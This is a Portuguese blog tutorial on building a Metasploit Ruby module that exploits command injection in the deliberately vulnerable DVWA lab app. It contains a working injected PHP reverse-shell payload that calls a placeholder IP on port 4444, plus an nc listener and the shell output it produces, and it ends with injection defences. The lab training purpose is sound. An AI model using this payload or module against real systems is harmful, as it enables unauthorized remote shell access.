Guia de passo a passo para escrever um exploit.
Tags: security, exploit, tutorial, owned
Published: 2023-11-20 22:15:09


![Metasploit](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fbkx7mofj9svkqpka6k6.png)



Antes de nos aprofundarmos no intrigante universo do Metasploit, é crucial destacar a necessidade de utilizar essas ferramentas de maneira ética e legal. O Metasploit, com todas as suas funcionalidades poderosas, deve ser empregado apenas com a permissão explícita dos proprietários dos sistemas em teste.

  Este artigo destina-se a profissionais de segurança ética, pesquisadores e entusiastas que buscam compreender e fortalecer a segurança digital. Qualquer utilização imprópria das informações aqui fornecidas para atividades mal-intencionadas não apenas é ilegal, mas também prejudicial à integridade dos sistemas e à confiança online.
  
  A responsabilidade pelo uso ético dessas ferramentas recai integralmente sobre o indivíduo. Este texto visa promover o entendimento e o conhecimento responsável na área de segurança digital. Juntos, vamos explorar o Metasploit de maneira ética, contribuindo para um ambiente digital mais seguro e protegido.
  

##  O Metasploit
  
  Pense no Metasploit como um superdetetive cibernético utilizado por especialistas em segurança para identificar e corrigir vulnerabilidades nos sistemas de computadores antes que hackers mal-intencionados possam explorá-las. Ele automatiza a busca por pontos fracos, agindo como um herói digital na proteção de nossos computadores. No entanto, é fundamental usar essa ferramenta de maneira ética, obtendo permissão antes de iniciar qualquer "investigação".
  
  O Metasploit é uma poderosa estrutura de teste de penetração, fornecendo informações sobre vulnerabilidades de sistemas e auxiliando profissionais de segurança na identificação e correção dessas falhas antes que se tornem alvos de invasores. Desenvolvido para automatizar o teste de penetração, o Metasploit é utilizado por especialistas em segurança e hackers éticos, oferecendo uma variedade de ferramentas para descoberta, exploração e validação de falhas de segurança.

## Msfconsole
  
  O msfconsole é a interface de linha de comando central no Metasploit, oferecendo um ambiente interativo para que os usuários explorem suas funcionalidades. Ao iniciar o msfconsole, os usuários entram em um ambiente onde podem carregar e configurar módulos, escolher exploits específicos, selecionar payloads e lançar ataques contra sistemas-alvo para avaliar a segurança. Essa ferramenta é essencial para profissionais de segurança que desejam testar a robustez de sistemas e redes, sempre com permissão adequada.
  
  Explorar o Metasploit é embarcar em uma jornada fascinante de descoberta e proteção digital. Lembre-se sempre da importância de agir de maneira ética e legal ao utilizar essas ferramentas, contribuindo para um ambiente digital mais seguro e protegido.
  

## Meterpreter
  
  O Meterpreter é um componente essencial no framework Metasploit, projetado para oferecer uma série de recursos pós-exploração em um sistema comprometido. Em termos mais simples, você pode pensar no Meterpreter como uma espécie de "ponte digital" entre o invasor e o sistema invadido, permitindo uma interação mais avançada e controle sobre a máquina comprometida.
  
  Com o Meterpreter, um invasor pode executar uma variedade de comandos no sistema comprometido, como copiar, excluir, fazer o upload ou download de arquivos, capturar telas, ativar a webcam, manipular processos e muito mais. Ele oferece uma interface rica para explorar e controlar um sistema invadido de forma mais flexível.

## Criando o script
    
 Criaremos um script básico no Metasploit usando Ruby para conduzir um ataque de injeção de comando com shell reverso. O projeto DVWA será empregado para aprofundar nossa compreensão do processo em sua totalidade.
  
  Antes de executar nosso script, é necessário ter os seguintes itens instalados em sua máquina local:
  
  - [Docker](https://docs.docker.com/engine/install/)
  - [Metasploit](https://www.metasploit.com/download)
  - [Ruby](https://www.ruby-lang.org/en/documentation/installation/) 
  
Verifique se você possui essas ferramentas instaladas antes de avançar com o desenvolvimento e a execução do script.


Vamos criar uma pasta denominada "artigo" dentro de /usr/share/metasploit-framework/modules/auxiliary.

Segue abaixo:

```sh
sudo mkdir /usr/share/metasploit-framework/modules/auxiliary/artigo 
```

Após sua criação iremos criar um arquivo chamado command_injection.rb, segue a instrução abaixo:

```sh
cd /usr/share/metasploit-framework/modules/auxiliary/artigo && touch command_injection.rb
```


Criaremos um código simples que realiza uma requisição externa do tipo HTTP ou HTTPS, a fim de compreender a estrutura de funcionamento de um script dentro do msfconsole.

Segue o código abaixo:

```sh

class MetasploitModule < Msf::Auxiliary
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
      'Name'   		=> 'Criando um script simples que fará uma requisição externa via http',
      'Description'	=> %q{
        A intenção desse script é executar uma simples requisição http.
      },
      'Author' 		=> [ 'Higor Diego' ],
      'License'		=> BSD_LICENSE))

      register_options(
        [
          OptString.new('RHOST',  [true, 'Solicitação de URL para site, por exemplo: google.com.br']),
          OptString.new('RPATH',  [true, 'Caminho para a solicitação de envio do URL, por exemplo: /login']),
          OptString.new('RMETHOD', [true, "PUT or DELETE", "GET"]),

        ]
      )
      deregister_options('RHOSTS')
      deregister_options('VHOST')
    end

  def run
    begin
      path = datastore['RPATH']
      method = datastore['RMETHOD']
      host = datastore['RHOST']

      res = send_request_cgi(
        {
          'uri'    => "#{normalize_uri(path)}",
          'method' => method,
        },
        20
      )
      
      print_good(" Send request #{host}#{normalize_uri(path)}" )
      print_good(" Response status code:  #{res.code}")
    rescue ::Exception => e
      
      return nil
    end
  end

end

```

Esse é um script em Ruby que utiliza o framework Metasploit para criar um módulo auxiliar (auxiliary module). O propósito deste script é realizar uma requisição HTTP simples para uma URL especificada, usando os métodos HTTP PUT, DELETE ou GET.

Vamos analisar o código por partes:

- Metasploit Module Class:

```sh
class MetasploitModule < Msf::Auxiliary
```

O script define uma classe chamada MetasploitModule que herda da classe Msf::Auxiliary, indicando que é um módulo auxiliar no contexto do Metasploit.
 

- Inicialização:

```sh
def initialize(info = {})
  super(update_info(info,
    'Name'       => 'Criando um script simples que fará uma requisição externa via http',
    'Description'=> %q{
      A intenção desse script é executar uma simples requisição http.
    },
    'Author'     => [ 'Higor Diego' ],
    'License'    => BSD_LICENSE))

```
 O método initialize é chamado quando uma instância da classe é criada. Ele define informações sobre o módulo, como nome, descrição, autor e licença.

- Opções do Módulo:

```sh
register_options(
  [
          OptString.new('RHOST',  [true, 'Solicitação de URL para site, por exemplo: google.com.br']),
          OptString.new('RPATH',  [true, 'Caminho para a solicitação de envio do URL, por exemplo: /login']),
          OptString.new('RMETHOD', [true, "PUT or DELETE", "GET"]),
  ]
)
deregister_options('RHOSTS')
deregister_options('VHOST')

```

O método register_options é usado para definir as opções que podem ser configuradas para o módulo. Neste caso, as opções incluem o destino da requisição (RHOST), o caminho da URL (RPATH) e o método HTTP a ser utilizado (RMETHOD).

Além disso, as opções 'RHOSTS' e 'VHOST' são desregistradas, indicando que elas não são relevantes para este módulo.

- Método run:
  
```sh
def run
  begin
    path = datastore['RPATH']
    method = datastore['RMETHOD']
    host = datastore['RHOST']

    res = send_request_cgi(
      {
        'uri'    => "#{normalize_uri(path)}",
        'method' => method,
      },
      20
    )

    print_good(" Send request #{host}#{normalize_uri(path)}" )
    print_good(" Response status code:  #{res.code}")
  rescue ::Exception => e
    return nil
  end
end

```

O método run é chamado quando o módulo é executado. Ele realiza uma requisição HTTP usando o método e a URL especificados nas opções. O resultado da requisição é então exibido, mostrando o host e o código de status da resposta.

Se ocorrer uma exceção durante a execução (por exemplo, se a requisição falhar), ela será capturada e tratada.

Abrindo o msfconsole, iremos procurar o nosso script dentro do módulos existente como o seguinte comando:


Iniciando o msfconsole

```sh

┌──(higordiego㉿higordiego)-[~]
└─$ msfconsole -q
msf6 > search artigo

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  auxiliary/artigo/command_injection                   excellent  No     Criando um script simples que fará uma requisição externa via http


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/artigo/command_injection

msf6 > 

```

Iremos selecionar o nosso script para identificar as configurações necessários como parâmetro para sua execução.

```sh

msf6 > use auxiliary/artigo/command_injection
msf6 auxiliary(artigo/command_injection) > show options

Module options (auxiliary/artigo/command_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                     yes       Solicitacao de URL para site, por exemplo: google.com.br
   RMETHOD  GET              yes       PUT or DELETE
   RPATH                     yes       Caminho para a solicitacao de envio do URL, por exemplo: /login
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections


View the full module info with the info, or info -d command.

```

Inserindo configurações para sua execução, segue abaixo:


```sh

msf6 auxiliary(artigo/command_injection) > set RHOST google.com
RHOST => google.com
msf6 auxiliary(artigo/command_injection) > set RPORT 443
RPORT => 443
msf6 auxiliary(artigo/command_injection) > set SSL true
SSL => true
msf6 auxiliary(artigo/command_injection) > set RPATH /
RPATH => /
msf6 auxiliary(artigo/command_injection) > show options

Module options (auxiliary/artigo/command_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    google.com       yes       Solicitacao de URL para site, por exemplo: google.com.br
   RMETHOD  GET              yes       PUT or DELETE
   RPATH    /                yes       Caminho para a solicitacao de envio do URL, por exemplo: /login
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connections


View the full module info with the info, or info -d command.

```

Executando o exploit, segue abaixo:

```sh

msf6 auxiliary(artigo/command_injection) > exploit

[+]  Send request google.com/
[+]  Response status code:  301
[*] Auxiliary module execution completed

```

Com poucas linhas fomos no google via https e o mesmo nos retonou um status 301 informando o seu redirecionamento.

_Script simples que não faz muita coisa né ?_

Agora imagina que encontramos uma falha de command injection via http em uma aplicação e seria necessário injectar esse comando nessa aplicação ter acesso de um shell reverse, nesse caso iremos aprimorar o nosso script realizando a tal chamada e abriremos um terminal com o nc para receber esse acesso.

Para essa finalidade, faremos uso de uma aplicação contida em um ambiente Docker para investigar essa vulnerabilidade, criando assim um ambiente de laboratório.

## Damn Vulnerable Web Application (DWVA)

DVWA, que significa "Damn Vulnerable Web Application", é uma aplicação web de código aberto projetada para ser propositalmente vulnerável. O DVWA é usado para fins educacionais e de treinamento em segurança cibernética. Ele oferece um ambiente controlado no qual os profissionais de segurança, estudantes e entusiastas podem praticar e aprimorar suas habilidades em testes de penetração e descoberta de vulnerabilidades web.

Principais características do DVWA:

- Vulnerabilidades Intencionais: O DVWA possui uma variedade de vulnerabilidades web propositais incorporadas, como injeção SQL, cross-site scripting (XSS), cross-site request forgery (CSRF), execução remota de código (RCE), entre outras.
-     Níveis de Segurança Ajustáveis: A aplicação permite ajustar o nível de segurança, o que afeta a dificuldade de explorar as vulnerabilidades. Isso é útil para os usuários ajustarem o ambiente de acordo com seu nível de habilidade e experiência.
-     Ambiente de Treinamento Seguro: O DVWA é destinado a ser usado em um ambiente controlado, como uma máquina virtual local ou um ambiente de laboratório de treinamento. Ele não deve ser implantado em um ambiente de produção, pois possui vulnerabilidades deliberadas.
-     Facilidade de Configuração: A instalação e configuração do DVWA são relativamente simples, tornando-o acessível para iniciantes no campo da segurança cibernética.


Executando via docker, segue o comando abaixo:

```sh
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
```

## Exploração

Vamos acessar o DVWA em execução na porta 8080 e explorar uma vulnerabilidade conhecida como command injection.

_O que é command injection ?_

A injeção de comando (Command Injection) é uma vulnerabilidade de segurança que ocorre quando um aplicativo aceita entradas não confiáveis (como dados do usuário) e as utiliza como parte de um comando que será executado pelo sistema operacional. Isso pode ocorrer em sistemas nos quais os comandos do sistema operacional podem ser incorporados diretamente em uma chamada de função ou em um processo do aplicativo.

Segue abaixo a tela do DVWA no menu de Command injection:

![Command Injection](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ygug2xcq7s98fn4aixwk.png)

Com fundamentação nesse campo, pretendemos injetar um comando para shell reverso, com o objetivo de acessar a máquina por meio de uma entrada não tratada. Abaixo, encontra-se o script atualizado para o msfconsole.

```sh

class MetasploitModule < Msf::Auxiliary
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
      'Name'   		=> 'Criar exemplo de requisição http simples para o Metasploit',
      'Description'	=> %q{
        A intenção deste módulo é entender como o Metasploit funciona e o que podemos desenvolver dentro dele.
      },
      'Author' 		=> [ 'Higor Diego' ],
      'License'		=> BSD_LICENSE))

      register_options(
        [
          OptString.new('RHOST',  [true, 'URL para a requisição ao site, por exemplo: google.com.br']),
          OptString.new('RPATH',  [true, 'Caminho para a URL para enviar a requisição, por exemplo: /login ']),
          OptString.new('RMETHOD', [true, "PUT ou DELETE", "GET"]),
          OptString.new('RCOOKIE', [true, "Sessão de Cookie"])
        ]
      )
      deregister_options('RHOSTS')
      deregister_options('VHOST')
    end

  def run
    begin
      path = datastore['RPATH']
      method = datastore['RMETHOD']
      host = datastore['RHOST']
      cookie = datastore['RCOOKIE']

      res = send_request_cgi(
        {
          'uri'    => "#{normalize_uri(path)}",

          'method' => method,
          'cookie' => "Cookie: language=en; cookieconsent_status=dismiss; continueCode=8lwZqVyJnO4gKPNM6DA6Bh9toCVHjfD2TnaSXgULxA1b5ermaLRzpvQx3BWE; PHPSESSID=#{cookie}; security=low",
          'vars_post' => {
            'ip': '127.0.0.1 && php -r \'$sock=fsockopen("meu_ip_aqui",4444);exec("bash <&3 >&3 2>&3");\'',
            'Submit' => 'Submit',
          },
          'headers' => {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': 'http://localhost:8080/vulnerabilities/exec/',
          },
          'ctype'		=> 'application/x-www-form-urlencoded'
        },
        20
      )
      
      print_good(" Enviar requisição para #{host}#{normalize_uri(path)}" )
      print_good(" Código de status da resposta:  #{res.code}")
    rescue ::Exception => e
      return nil
    end
  end

end

```

Depois de atualizarmos o código, ajustamos as variáveis necessárias para a submissão da solicitação, e suas opções serão configuradas da seguinte forma:

```sh
msf6 auxiliary(artigo/command_injection) > show options

Module options (auxiliary/artigo/command_injection):

   Name     Current Setting             Required  Description
   ----     ---------------             --------  -----------
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RCOOKIE  s41u5eodfcav729jlsnsu1t5u5  yes       Sessão de Cookie
   RHOST    127.0.0.1                   yes       URL para a requisição ao site, por exemplo: google.com.br
   RMETHOD  POST                        yes       PUT ou DELETE
   RPATH    /vulnerabilities/exec/      yes       Caminho para a URL para enviar a requisição, por exemplo: /login
   RPORT    8080                        yes       The target port (TCP)
   SSL      false                       no        Negotiate SSL/TLS for outgoing connections


View the full module info with the info, or info -d command.


```

Em outro terminal iremos utilizar o seguinte comando:

```sh
┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444  
```

Ao acionar o exploit que foi criado, utilize o seguinte comando:

```sh
msf6 auxiliary(artigo/command_injection) > exploit

[+]  Enviar requisição para 127.0.0.1/vulnerabilities/exec/
[*] Auxiliary module execution completed

```

No nc temos o seguinte o resultado:

```sh

┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [192.168.0.13] from (UNKNOWN) [172.17.0.3] 39752
```

Dessa forma, conseguimos obter acesso e operar o servidor por meio de alguns comandos de shell, tais como:

```sh

┌──(higordiego㉿higordiego)-[~]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [192.168.0.13] from (UNKNOWN) [172.17.0.3] 39752
ls -lah
total 20K
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 .
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 ..
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 help
-rw-r--r-- 1 www-data www-data 1.8K Oct 12  2018 index.php
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 source

```

## Proteção Command Injection

Proteger contra injeção de comandos (Command Injection) envolve práticas seguras de programação e a implementação de medidas de segurança adequadas. Aqui estão algumas diretrizes gerais que podem ajudar a prevenir vulnerabilidades de injeção de comandos:

- Validação e Filtragem de Entradas: Valide e filtre rigorosamente todas as entradas do usuário antes de incorporá-las em comandos do sistema ou em consultas de banco de dados. Utilize listas de permissões (whitelists) para permitir apenas caracteres ou padrões específicos nas entradas.

- Escape de Caracteres Especiais: Ao incorporar entradas do usuário em comandos, utilize funções ou métodos que escapem caracteres especiais para que eles sejam tratados literalmente, não como parte do comando.

- Utilize Parâmetros Seguros: Sempre que possível, utilize parâmetros de consulta ou placeholders ao construir consultas SQL ou comandos do sistema. Isso impede a interpolação direta de dados do usuário nos comandos.

- Princípio do Menor Privilégio: Configure processos e aplicativos para terem apenas os privilégios necessários para realizar suas tarefas. Evite executar comandos com privilégios elevados quando não for estritamente necessário.



## Conclusão

Este artigo explorou o universo ético do Metasploit, destacando a importância de utilizar suas ferramentas de maneira responsável e legal, com permissão explícita. 

Abordamos o Metasploit como uma ferramenta valiosa para profissionais de segurança, exemplificando sua aplicação ética através do desenvolvimento de um módulo específico para explorar vulnerabilidades na Damn Vulnerable Web Application (DVWA).

## Referência

https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
https://github.com/digininja/DVWA